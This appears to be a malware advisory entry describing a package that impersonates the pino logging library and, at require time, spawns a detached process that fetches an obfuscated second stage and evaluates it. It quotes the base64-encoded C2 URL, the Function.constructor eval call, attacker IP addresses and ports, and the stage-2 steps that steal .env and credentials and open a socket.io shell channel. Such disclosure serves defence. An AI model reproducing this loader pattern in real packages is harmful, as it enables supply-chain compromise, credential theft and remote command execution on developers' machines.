GCVE-110-OSM-2026-4810

Executes a detached background process at require-time that fetches a 3.77MB obfuscated second-stage payload from attacker-controlled infrastructure (aqua-margit-84.tiiny.site, resolving to 44.247.101.55), then evaluates it with full Node.js access via Function.constructor. The decoded stage-2 harvests .env file contents, host info, and Windows credentials, exfiltrates them to 144.172.89.180 on ports 8085 and 8086, and establishes a persistent socket.io C2 channel on port 8087 with shell command execution capability. Package impersonates the pino logging library with 16 of 17 files being verbatim pino source. **Trigger** (require-time): `index.js` calls `runBackgroundTask()` which spawns `lib/initializeCaller.js` as a detached Node.js process (`detached:true, stdio:'ignore'`) and calls `child.unref()`. **C2 fetch**: decodes C2 URL from base64: `atob('aHR0cHM6Ly9hcXVhLW1hcmdpdC04NC50aWlueS5zaXRlL2luZGV4Lmpzb24=')` → `https://aqua-margit-84.tiiny.site/index.json`. Fetches with header `x-secret-key: _`, retries up to 5 times. **Dynamic eval**: extracts `.data.cookie` and executes via `new Function.constructor('require', payload)(require)` — full `require()` access. **Stage-2**: installs `sql.js socket.io-client form-data axios` at runtime, collects `.env` contents, `process.env.USER`/`USERNAME`, `os.hostname()`/`os.type()`/`os.release()`, WSL detection via `/proc/version`, Windows user enumeration via `cmd.exe /c echo %USERNAME%` and `/mnt/c/Users`. **Exfiltration**: POSTs to `http://144.172.89.180:8085/upload` and `http://144.172.89.180:8086/upload`. **Persistent C2**: socket.io connection to `http://144.172.89.180:8087` with `execSync` shell.